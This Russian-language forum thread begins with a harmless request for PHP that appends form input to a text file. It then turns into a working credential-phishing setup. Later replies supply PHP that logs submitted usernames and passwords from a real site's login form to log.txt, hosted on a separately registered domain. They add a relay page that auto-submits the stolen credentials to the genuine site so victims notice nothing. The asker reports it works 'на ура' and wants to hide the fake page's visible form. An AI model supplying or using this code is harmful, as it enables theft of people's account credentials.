народ подскажите пожалуйста скрипт мне надо чтобы человек заполнил форму и эти все данные сохранились в txt файл
дозапись в файл <? $file = fopen("file.txt", "a+"); //переменные из формы $str = "text"; fputs($file, $str); fclose ($file); ?> вот, а дальше сам уж %))) я думаю передать из формы переменные не составит труда .... Чекай php.ru )
Чтобы получить данные из формы, используй переменные $_post и/или $_get Только названия переменных заглавными должны быть.
PHP: <?php if($_POST['content']){ $fh = fopen("file.txt", "w"); fwrite($fh, $_POST['content']); fclose($fh); } ?><form method=post> <textarea name=content><?php echo file_get_contents("file.txt"); ?></textarea> <input type=submit value="Отправить"> </form> Так накинул тута на 5 мин и вот что вышла , после того как делаеш отправить создаётся файл file.txt и всё что написсано было в тексареи заносится туда.
выложи свою форму! и те все напишут! а есле хош чеб всё было с новой с троки, то запись в файл должан выглядить так : PHP: $fh = fopen("file.txt", "a"); fwrite($fh, $_POST['content']."\n"); короч пример че писал TEM над изменить на: PHP: <?php if($_POST['content']){ $fh = fopen("file.txt", "a"); fwrite($fh, $_POST['content']."\n"); fclose($fh); } ?><form method=post> <textarea name=content></textarea> <input type=submit value="Отправить"> </form>
меня устраивает твоя =) слу всё клёва но можно ли доавить ещё 2 формы и чтобы все записывались в одну строку
PHP: <?php if(isset($_POST['content'],$_POST['content1'],$_POST['content2'])){ $fh = fopen("file.txt", "a"); fwrite($fh, $_POST['content'].' '.$_POST['content1'].' '.$_POST['content2']."\n"); fclose($fh); } ?><form method=post> <textarea name=content></textarea><br /> <textarea name=content1></textarea><br /> <textarea name=content2></textarea><br /> <input type=submit value="Отправить"> </form>
а если есть вот такой код, что добавить чтоб вводимые данные сохранялись в файл: PHP: <% if (!login) { %> <div align="right"> <form action='https://**************.ru/j_security_check' method='POST'> <input type="hidden" name="j_uri" value="index.jsp"/> <table class="login"> <tr><td><b>Логин:</td><td><input type="text" name="j_username"></td></tr> <tr><td><b>Пароль:</td><td><input type="password" name="j_password"></td></tr> <tr><td colspan="2" align="right" style="padding:1pt 2pt"> <input type="submit" value="Вход" style="text-align:center;width:80px"> </td></tr> </table> </form> </div> <% } else { %> <div align="right"> <a href="logout.jsp">Выйти [<%=Util.getUserLogin(request)%>]</a> </div> <% } %>
Эт те нужно иметь доступ к файлу https://**************.ru/j_security_check те над будет сделать на нем расширение php и вписать это в форме: action='https://**************.ru/j_security_check.php' а в том файле следующий код PHP: <?php if(isset($_POST['j_username'], $_POST['j_password'])) { $fo=fopen("log.txt", "a"); fwrite($fo, "Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n"); fclose($fo); } ?>
доступа нет, могу поменять только там где форма. а можно сделать так, что переход сделать на http(без s)://**************.ru/j_security_check.php, а с него потом переадресацию на https://**************.ru/j_security_check ? может еще есть какие варики, отсылка на мыло или еще что нить?
да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта! PHP: <?php if(isset($_POST['j_username'], $_POST['j_password'])) { $fo=fopen("log.txt", "a"); fwrite($fo, "Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n"); fclose($fo); } ?> <body onload="document.myform.submit()"> <form action='https://**************.ru/j_security_check' method='POST' name=myform> <input type="hidden" name="j_uri" value="index.jsp"/> <input type="text" name="j_username" value=<?print $_POST['j_username'];?>> <input type="password" name="j_password" value=<?print $_POST['j_password'];?>>
все работает на ура, только просматриваются формочки на фейковой странице, можно их как-нить убрать не мешая общему процессу ?